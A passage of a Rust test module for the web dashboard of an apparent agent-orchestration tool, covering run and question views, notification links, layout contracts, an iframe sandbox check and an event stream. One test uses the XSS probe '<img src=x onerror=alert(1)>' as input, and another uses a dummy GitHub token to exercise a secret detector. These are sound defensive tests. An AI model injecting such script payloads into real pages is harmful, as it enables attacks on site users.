19357            state,
19358            false,
19359            crate::run::Liveness::Unknown,
19360            None,
19361            None,
19362            None,
19363        ))
19364        .unwrap();
19365
19366        let strong = |p: &str| {
19367            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19368            assert!(n.to_string().contains("strong"), "{p}: {n}");
19369        };
19370        strong("/advice_md/synthesis");
19371        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19372        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19373        strong("/advice_md/approaches/0");
19374        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19375        strong("/candidate_summaries_md/0");
19376        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19377        strong("/reviews_md/0/reviewers/0/summary");
19378        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19379        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19380        assert!(f[1].to_string().contains("strong"));
19381        strong("/reviews_md/0/reconsideration/0");
19382        strong("/reviews_md/0/fix/notes");
19383        strong("/reviews_md/0/fix/rejected/0");
19384        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19385        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19386        // The raw strings stay, and no schema moved.
19387        assert_eq!(v["candidates"][0]["summary"], "did **it**");
19388        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19389    }
19390
19391    #[test]
19392    fn a_run_without_advice_has_no_advice_md() {
19393        let state = RunState::new(
19394            std::path::PathBuf::from("/repo"),
19395            "main".to_owned(),
19396            "abc".to_owned(),
19397            "x".to_owned(),
19398            crate::config::Config::default(),
19399        );
19400        let p = run_prose_md(&state);
19401        assert!(p.advice_md.is_none());
19402        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19403    }
19404
19405    #[test]
19406    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19407        let store = ask::Questions::at(PathBuf::from("unused"));
19408        let gt = crate::github_text::Withheld {
19409            title: false,
19410            body: true,
19411            categories: vec!["sensitive-data".into()],
19412        };
19413        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19414        let (detail, comparison) =
19415            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19416        let mut q = Question::new(
19417            "r".into(),
19418            "github-text".into(),
19419            "posting-gate".into(),
19420            "s".into(),
19421            detail,
19422            Vec::new(),
19423        );
19424        assert!(
19425            QuestionView::of(q.clone(), &store, None)
19426                .posting_view
19427                .is_none()
19428        );
19429        q.posting_comparison = Some(comparison);
19430        let view = QuestionView::of(q.clone(), &store, None);
19431        let field = &view.posting_view.unwrap().fields[0];
19432        assert_eq!(
19433            field
19434                .original
19435                .iter()
19436                .map(|f| f.text.as_str())
19437                .collect::<String>(),
19438            body
19439        );
19440        assert!(field.original[0].text.starts_with("<img"));
19441        let original_question: Question =
19442            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19443        assert_eq!(original_question, q);
19444        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19445            .original
19446            .start = 1;
19447        assert!(
19448            QuestionView::of(q.clone(), &store, None)
19449                .posting_view
19450                .is_none()
19451        );
19452        q.posting_comparison = original_question.posting_comparison;
19453        q.detail.push_str("extra context");
19454        assert!(
19455            QuestionView::of(q.clone(), &store, None)
19456                .posting_view
19457                .is_some()
19458        );
19459        q.detail.insert(0, 'x');
19460        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19461    }
19462
19463    #[test]
19464    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19465        let store = ask::Questions::at(PathBuf::from("unused"));
19466        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19467        let gt = crate::github_text::Withheld::from_check(
19468            &crate::github_text::check("fix: x", body),
19469            "fix: x",
19470            body,
19471        )
19472        .unwrap();
19473        let (detail, comparison) =
19474            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19475        let mut q = Question::new(
19476            "r".into(),
19477            "github-text".into(),
19478            "posting-gate".into(),
19479            "s".into(),
19480            detail,
19481            Vec::new(),
19482        );
19483        q.posting_comparison = Some(comparison);
19484        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19485        let field = &value["posting_view"]["fields"][0];
19486        let group = &field["replacement_group"];
19487        let triggers = group["triggers"].as_array().unwrap();
19488        assert_eq!(triggers.len(), 2);
19489        assert_ne!(triggers[0], triggers[1]);
19490        for id in triggers {
19491            assert!(
19492                field["original"]
19493                    .as_array()
19494                    .unwrap()
19495                    .iter()
19496                    .any(|f| &f["pair"] == id)
19497            );
19498            assert!(
19499                !field["changed"]
19500                    .as_array()
19501                    .unwrap()
19502                    .iter()
19503                    .any(|f| &f["pair"] == id)
19504            );
19505        }
19506        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19507            group["id"].as_u64().unwrap() as usize;
19508        assert!(
19509            QuestionView::of(q, &store, None).posting_view.is_none(),
19510            "group and trigger IDs cannot collide"
19511        );
19512    }
19513
19514    #[test]
19515    fn a_question_view_carries_markdown_for_each_thread_turn() {
19516        let home = TempDir::new().unwrap();
19517        let store = ask::Questions::at(home.path().join("questions"));
19518        let mut q = Question::new(
19519            "run".to_owned(),
19520            "implement".to_owned(),
19521            "impl-A".to_owned(),
19522            "which?".to_owned(),
19523            String::new(),
19524            Vec::new(),
19525        );
19526        q.say("plain words").unwrap();
19527        q.reply("use **this**", Vec::new()).unwrap();
19528        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19529        let bodies = &v["thread_bodies_md"];
19530        assert_eq!(bodies.as_array().unwrap().len(), 2);
19531        assert!(!bodies[0].to_string().contains("strong"));
19532        assert!(bodies[1].to_string().contains("strong"));
19533    }
19534
19535    #[test]
19536    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19537        let home = TempDir::new().unwrap();
19538        let store = ask::Questions::at(home.path().join("questions"));
19539        let mut q = Question::new(
19540            "run".to_owned(),
19541            "conduct".to_owned(),
19542            "conduct".to_owned(),
19543            "which?".to_owned(),
19544            String::new(),
19545            Vec::new(),
19546        );
19547        q.say("plain words").unwrap();
19548        q.thread.push(ask::Turn {
19549            who: ask::Who::Agent,
19550            body: "Settled as `merge`".to_owned(),
19551            at: jiff::Timestamp::now(),
19552            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19553        });
19554        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19555        let notes = &v["thread_notes_md"];
19556        assert_eq!(notes.as_array().unwrap().len(), 2);
19557        assert!(notes[0].is_null());
19558        let text = notes[1].to_string();
19559        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19560        assert!(APP_JS.contains("ask-turn-note"));
19561    }
19562
19563    #[test]
19564    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19565        // The land panel defers to `run.status` for merged, and labels a
19566        // recorded-open PR on any finished run (superseded, blocked, ...) as
19567        // last seen, never as live state.
19568        assert!(APP_JS.contains("function landView(run, raw) {"));
19569        assert!(
19570            APP_JS.contains(
19571                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19572            )
19573        );
19574        assert!(APP_JS.contains("const pr = landView(run, raw);"));
19575        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19576        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19577        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19578    }
19579
19580    #[test]
19581    fn live_runs_are_never_hidden_or_folded_as_superseded() {
19582        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
19583        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19584        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19585        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19586    }
19587
19588    #[test]
19589    fn review_rounds_label_a_distinct_verified_head() {
19590        assert!(APP_JS.contains("round.verified_head"));
19591        assert!(APP_JS.contains("verified HEAD"));
19592        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19593    }
19594
19595    #[test]
19596    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19597        // A blocked task's chip and note must not fall back to a queued-like
19598        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
19599        // itself by e11fc58 but never checked here.
19600        assert!(APP_JS.contains("blocked: { glyph:"));
19601        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19602
19603        // `blocked_by` mixes task ids and question ids in the same list, and
19604        // the client can only tell them apart by checking each id against
19605        // what it actually knows - never by guessing from the id's shape.
19606        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19607        assert!(
19608            APP_JS.contains(
19609                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19610            ),
19611            "the note line must name what a blocked task is waiting on, not just that it is blocked"
19612        );
19613        // The classification must key off `status_str`, never off `blocked_by`
19614        // or `block_reason` merely being present - both can survive briefly
19615        // on a task a hold or a dead daemon just moved off `blocked`.
19616        assert!(APP_JS.contains("if (status === \"blocked\") {"));
19617
19618        // A question a task is blocked on gets its own node in the same
19619        // dependency graph, not just a task-shaped node with nothing known
19620        // about it.
19621        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19622        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19623        assert!(
19624            APP_JS.contains("location.hash = \"#/questions\";"),
19625            "a question node must jump to the Questions screen, not pretend to be a task"
19626        );
19627
19628        // `Task::answers` - decisions already made - are shown as a record on
19629        // the card, the same disclosure style as the full instruction.
19630        assert!(APP_JS.contains("Resolved questions"));
19631        assert!(APP_JS.contains("r.answersList.append("));
19632        assert!(APP_CSS.contains(".task-answers"));
19633        {
19634            let start = APP_JS
19635                .find("function updateTalkTaskRow")
19636                .expect("updateTalkTaskRow");
19637            let body = &APP_JS[start..];
19638            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19639            assert!(
19640                body.contains(
19641                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19642                ),
19643                "a chat-filed task row must link to the task page"
19644            );
19645            assert!(
19646                !body.contains("#/runs/") && !body.contains("#/queue/"),
19647                "the row must not branch to a run or the queue card"
19648            );
19649            assert!(APP_CSS.contains(".talk-task-link"));
19650        }
19651    }
19652
19653    #[test]
19654    fn a_task_notification_links_to_the_task_page() {
19655        // A task notice opens the task detail page, not the Backlog card.
19656        let start = APP_JS
19657            .find("function noticeLink(")
19658            .expect("noticeLink exists");
19659        let body = &APP_JS[start..];
19660        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19661        assert!(
19662            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19663            "a task notice's link must target the task page"
19664        );
19665        assert!(
19666            !body.contains("#/queue/"),
19667            "regression: the task link must not go back to the Backlog route"
19668        );
19669        assert!(
19670            APP_JS.contains(
19671                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19672            ),
19673            "`#/tasks/<id>` must parse into the task route"
19674        );
19675
19676        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
19677        assert!(
19678            APP_JS.contains(
19679                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19680            ),
19681            "`#/queue/<id>` must parse into a route carrying that id"
19682        );
19683
19684        // And the Backlog view has to actually land on the card once it can
19685        // - see consumeQueueFocus(), which renderQueue() calls on every pass
19686        // so a focus set before the queue has loaded is retried once it has.
19687        assert!(APP_JS.contains("state.queueFocus = route.id;"));
19688        assert!(APP_JS.contains("function consumeQueueFocus()"));
19689        assert!(APP_JS.contains("jumpToTask(id)"));
19690    }
19691
19692    #[test]
19693    fn notifications_distinguish_actionable_questions_from_informational_notices() {
19694        let start = APP_JS
19695            .find("function noticeCoveredBy(")
19696            .expect("noticeCoveredBy exists");
19697        let body = &APP_JS[start..];
19698        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19699
19700        // Historical associations are informational, even for open questions.
19701        assert!(body.contains("Associated question ${short}"));
19702        assert!(!body.contains("el(\"a\""));
19703
19704        // A resolved question displays status rather than an actionable link
19705        assert!(body.contains("(resolved)"));
19706        assert!(body.contains("(closed)"));
19707
19708        let start = APP_JS
19709            .find("function renderNotifications()")
19710            .expect("renderNotifications exists");
19711        let body = &APP_JS[start..];
19712        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19713
19714        // Only a server-resolved answerable question supplies a response link.
19715        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19716        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19717        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
19718        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19719    }
19720
19721    /// Chat rows are two lines at every width: the title alone, then the
19722    /// shrinkable secondary info.
19723    #[test]
19724    fn chat_rows_put_the_title_alone_on_the_first_line() {
19725        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
19726        assert!(APP_CSS.contains(
19727            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19728        ));
19729        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19730        assert!(APP_JS.contains("class: \"badge talk-unread\""));
19731    }
19732
19733    #[test]
19734    fn run_rows_put_the_title_alone_on_the_first_line() {
19735        assert!(
19736            APP_CSS.contains(
19737                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
19738            )
19739        );
19740        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19741        assert!(APP_JS.contains("class: \"card run-card\""));
19742        assert!(APP_JS.contains("class: \"repo run-id\""));
19743    }
19744
19745    /// Wide screens get a master/detail layout built from the views a phone
19746    /// drills into. These are string assertions: they pin the contract between
19747    /// the three assets, not how it looks.
19748    #[test]
19749    fn wide_screens_show_list_and_preview_side_by_side() {
19750        // One breakpoint, spelled the same in the script and the stylesheet.
19751        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19752        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19753        assert!(APP_CSS.contains("main[data-split]"));
19754        assert!(APP_CSS.contains("body[data-split]"));
19755
19756        // The route -> panes table, and a narrow screen opting out of it.
19757        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
19758        assert!(
19759            APP_JS.contains(
19760                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19761            )
19762        );
19763        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19764        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19765        assert!(INDEX_HTML.contains("id=\"split-empty\""));
19766
19767        // Selection is derived from the route, and only ever paints a row.
19768        assert!(APP_JS.contains("function markSelected() {"));
19769        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19770        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19771        // The dense row must override the stacked card the 720px block sets up.
19772        assert!(
19773            APP_CSS.contains(
19774                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19775            )
19776        );
19777
19778        // Independent scrolling: the page stops scrolling, each pane does.
19779        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19780        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19781        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19782        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19783
19784        // A refresh must never navigate: the loaders still check that their
19785        // subject is the one on screen, and crossing the breakpoint only
19786        // re-reads the hash.
19787        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19788        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19789        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19790        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19791
19792        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
19793        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19794    }
19795
19796    #[test]
19797    fn panel_sandbox_carries_exactly_popups() {
19798        let needle = "sandbox: \"";
19799        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19800        assert_eq!(
19801            matches.len(),
19802            1,
19803            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19804        );
19805        let start = matches[0].0 + needle.len();
19806        let end = APP_JS[start..]
19807            .find('"')
19808            .expect("sandbox attribute value must be terminated by a closing quote");
19809        let val = &APP_JS[start..start + end];
19810        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19811        let expected: std::collections::BTreeSet<&str> =
19812            ["allow-popups", "allow-popups-to-escape-sandbox"]
19813                .into_iter()
19814                .collect();
19815        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
19816        assert!(
19817            !tokens.contains("allow-scripts"),
19818            "allow-scripts must never be present in sandbox"
19819        );
19820        assert!(
19821            !tokens.contains("allow-same-origin"),
19822            "allow-same-origin must never be present in sandbox"
19823        );
19824    }
19825
19826    #[test]
19827    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
19828        // consumeQueueFocus() clears an active Backlog search before it can
19829        // scroll to the target card (the sections list is hidden while a
19830        // search is showing), by recursing back into renderQueue(). The
19831        // fixer's first cut nulled state.queueFocus before that recursive
19832        // call, so the second pass saw nothing to jump to and the jump was
19833        // silently dropped whenever a notification's link was opened with a
19834        // stale search still active. state.queueFocus must only be cleared
19835        // right before jumpToTask() actually runs.
19836        assert!(
19837            APP_JS.contains(
19838                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
19839            ),
19840            "the search-clearing branch must run before state.queueFocus is cleared, or the \
19841             recursive renderQueue() call has nothing left to jump to"
19842        );
19843        assert!(
19844            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
19845            "state.queueFocus must be cleared only once the jump has landed, so a card that \
19846             arrives later still gets it"
19847        );
19848        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
19849        assert!(APP_JS.contains("is not in the current Backlog."));
19850        assert!(APP_JS.contains("li.card[data-task-id=\""));
19851        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
19852        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
19853        assert!(APP_CSS.contains(".card-permalink"));
19854        assert!(APP_CSS.contains(".queue-focus-status"));
19855        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
19856    }
19857
19858    #[test]
19859    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
19860        // The task's own repro: only the link text inside .notice-meta was
19861        // clickable, so a tap on the message, the timestamp, or the card's
19862        // padding did nothing - on a phone that reads as "the card doesn't
19863        // work" even though the tiny link inside it did. Mark read / Dismiss
19864        // must keep working independently of this: `.closest("a, button")`
19865        // is what lets a tap that actually lands on those elements fall
19866        // through instead of being hijacked into a navigation.
19867        assert!(
19868            APP_JS.contains(
19869                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
19870            ),
19871            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
19872        );
19873    }
19874
19875    #[test]
19876    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
19877        assert!(
19878            APP_JS.contains("round.verified_head !== round.head"),
19879            "a round that verified an earlier commit must be visibly distinct from one that \
19880             verified the head reviewers are looking at now"
19881        );
19882        assert!(
19883            APP_JS.contains("round.verified_at"),
19884            "when a check ran must be on the wire, not just which commit"
19885        );
19886        assert!(
19887            APP_JS.contains("resource_blocked"),
19888            "a command magi never got to run (shared build cache contention) must not render \
19889             the same as a command that ran and failed"
19890        );
19891    }
19892
19893    #[test]
19894    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19895        // Every KPI tile but Total runs and Completion names an exact
19896        // RunStatus and hands it to openRunsFiltered(), which is what wires
19897        // the click into state.runsFilter.status (matchesFilter's own
19898        // status check) rather than the coarser runsStateFilter chips. Each
19899        // status literal here must be one of the strings runSection() (and
19900        // isStale()) actually compare a run's own `status` field against -
19901        // a status this dashboard invented would filter to nothing.
19902        assert!(
19903            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19904            "every KPI tile built through statusTile() must route its click through \
19905             openRunsFiltered, the single place that sets the Runs filter"
19906        );
19907        for (label, status) in [
19908            ("Merged", "merged"),
19909            ("Ready", "ready"),
19910            ("Blocked", "blocked"),
19911            ("Stalled", "stalled"),
19912        ] {
19913            let call = format!("statusTile(\"{label}\", t.{status}, ");
19914            assert!(
19915                APP_JS.contains(&call),
19916                "expected the {label} KPI tile built via {call}..."
19917            );
19918            assert!(
19919                APP_JS.contains(&format!("status === \"{status}\"")),
19920                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19921                 compare a run against, not one invented only for the stats tile"
19922            );
19923        }
19924        assert!(
19925            APP_JS.contains("function openRunsFiltered(status)"),
19926            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19927        );
19928        assert!(
19929            APP_JS.contains(
19930                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19931            ),
19932            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19933        );
19934        // applyRoute() only flips which view is visible for a plain `#runs`
19935        // hash - it does not itself redraw the list (see applyRoute's own
19936        // handling below) - so openRunsFiltered must call renderRuns()
19937        // itself, and must call applyRoute() too so the view flips even
19938        // when the hash string doesn't change (the operator may already be
19939        // on the Runs view when a tile is tapped, which fires no
19940        // hashchange event at all).
19941        assert!(
19942            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
19943            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19944             hashchange event that may never fire"
19945        );
19946    }
19947
19948    #[test]
19949    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19950        // A stats tile can leave state.runsFilter.status set to something
19951        // done-by-construction (e.g. "merged") - picking "Active" afterward
19952        // must drop it the same way an incompatible tree section is already
19953        // dropped, or the Runs list renders permanently empty with no way
19954        // for the operator to tell why.
19955        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19956        assert!(
19957            APP_JS.contains(
19958                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
19959            ),
19960            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19961             guard for an incompatible tree section"
19962        );
19963    }
19964
19965    #[test]
19966    fn every_stats_queue_tile_names_a_real_queue_section() {
19967        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
19968        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
19969        // (consumeQueueSectionFocus finds no matching <details> and drops
19970        // the focus) rather than fail loudly, so pin every key against the
19971        // section list it has to resolve against.
19972        assert!(
19973            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19974            "every queue tile built through sectionTile() must route its click through \
19975             openQueueSectionFocus"
19976        );
19977        for key in ["upnext", "running", "done", "held", "blocked"] {
19978            assert!(
19979                APP_JS.contains(&format!("{{ key: \"{key}\",")),
19980                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19981            );
19982        }
19983        // Queued and Failed intentionally both resolve to "upnext" - the
19984        // same section queueSection() itself files them under - rather than
19985        // getting a section each.
19986        for line in [
19987            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19988            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19989            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19990            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19991            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19992            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19993        ] {
19994            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19995        }
19996    }
19997
19998    #[test]
19999    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20000        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
20001        // above for the section-focus channel a stats queue tile drives:
20002        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
20003        // through the stale-search-clear recursion into renderQueue(), and
20004        // clear it only once revealQueueSection() is actually about to run -
20005        // the same trap that once silently dropped a task-focus jump.
20006        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20007        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20008        assert!(APP_JS.contains("function revealQueueSection(details)"));
20009        assert!(
20010            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20011            "renderQueue() must consume both focus channels on every pass"
20012        );
20013        assert!(
20014            APP_JS.contains(
20015                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20016            ),
20017            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20018             the recursive renderQueue() call has nothing left to reveal"
20019        );
20020        assert!(
20021            APP_JS.contains(
20022                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20023            ),
20024            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20025        );
20026        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20027        // task-focus form of the hash - a plain `#queue` navigation only
20028        // flips which view is visible. openQueueSectionFocus() must
20029        // therefore call renderQueue() itself, and applyRoute() too so the
20030        // view flips even when the hash doesn't change (the Backlog may
20031        // already be open when a tile is tapped, firing no hashchange
20032        // event at all).
20033        assert!(
20034            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20035            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20036             hashchange event that may never fire"
20037        );
20038    }
20039
20040    #[tokio::test]
20041    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20042        let f = Fixture::start().await;
20043
20044        let mut socket = tokio::net::TcpStream::connect(f.addr)
20045            .await
20046            .expect("connect");
20047        socket
20048            .write_all(
20049                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20050            )
20051            .await
20052            .expect("write request");
20053
20054        // Read until the first event arrives rather than to end of stream: the
20055        // stream is endless by design, which is the point of the route.
20056        let mut seen = String::new();
20057        let mut buf = [0u8; 1024];
20058        while !seen.contains("event: change") {
20059            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20060                .await
20061                .expect("the stream must speak within five seconds")
20062                .expect("read");
20063            assert!(read > 0, "the server closed the change stream: {seen}");
20064            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20065        }
20066
20067        assert!(
20068            seen.to_lowercase()
20069                .contains("content-type: text/event-stream"),
20070            "the browser only reconnects automatically for a real SSE stream: {seen}"
20071        );
20072        let data = seen
20073            .lines()
20074            .find_map(|l| l.strip_prefix("data:"))
20075            .expect("a data line");
20076        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20077        assert!(
20078            payload["queue_rev"].is_u64()
20079                && payload["runs_rev"].is_u64()
20080                && payload["questions_rev"].is_u64()
20081                && payload["talks_rev"].is_u64()
20082                && payload["notifications_rev"].is_u64()
20083                && payload["loop_rev"].is_u64(),
20084            "the client needs one revision per store to know what to refetch, \
20085             and `talks_rev` is the only notification a standing talk gets - a \
20086             phone whose radio slept through a turn learns about it here, as \
20087             does one whose operator started the loop from another device: \
20088             {payload}"
20089        );
20090
20091        // The front end re-polls health on a timer and on wake, and takes the
20092        // revisions from that answer whenever the stream is not up. So health
20093        // has to carry every key the stream carries: a phone on a link that
20094        // will not hold an SSE connection is exactly the phone that must still
20095        // notice a question, and a missing key there is not a 500 but a UI
20096        // that quietly stops updating.
20097        let health = f.get("/api/health").await.json();
20098        for key in [
20099            "queue_rev",
20100            "runs_rev",
20101            "questions_rev",
20102            "talks_rev",
20103            "notifications_rev",
20104            "loop_rev",
20105        ] {
20106            assert!(
20107                health[key].is_u64(),
20108                "health is the change stream's fallback and is missing `{key}`: {health}"
20109            );
20110        }
20111    }
20112
20113    #[tokio::test]
20114    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20115        let f = Fixture::start().await;
20116        let before = f.get("/api/health").await.json()["talks_rev"]
20117            .as_u64()
20118            .expect("talks_rev");
20119
20120        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20121        std::thread::sleep(Duration::from_millis(10));
20122        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20123        on_disk.turns.push(crate::talk::Turn {
20124            sender: None,
20125            breaks: Some(Vec::new()),
20126            messages: Vec::new(),
20127            posted_by: None,
20128            who: crate::talk::Who::Operator,
20129            body: "a new turn".to_owned(),
20130            at: Timestamp::now(),
20131            attachments: Vec::new(),
20132            usage: None,
20133        });
20134        f.talks().put(&mut on_disk).expect("record a turn");
20135
20136        let after = tokio::time::timeout(Duration::from_secs(5), async {
20137            loop {
20138                let revision = f.get("/api/health").await.json()["talks_rev"]
20139                    .as_u64()
20140                    .unwrap();
20141                if revision != before {
20142                    break revision;
20143                }
20144                tokio::time::sleep(Duration::from_millis(50)).await;
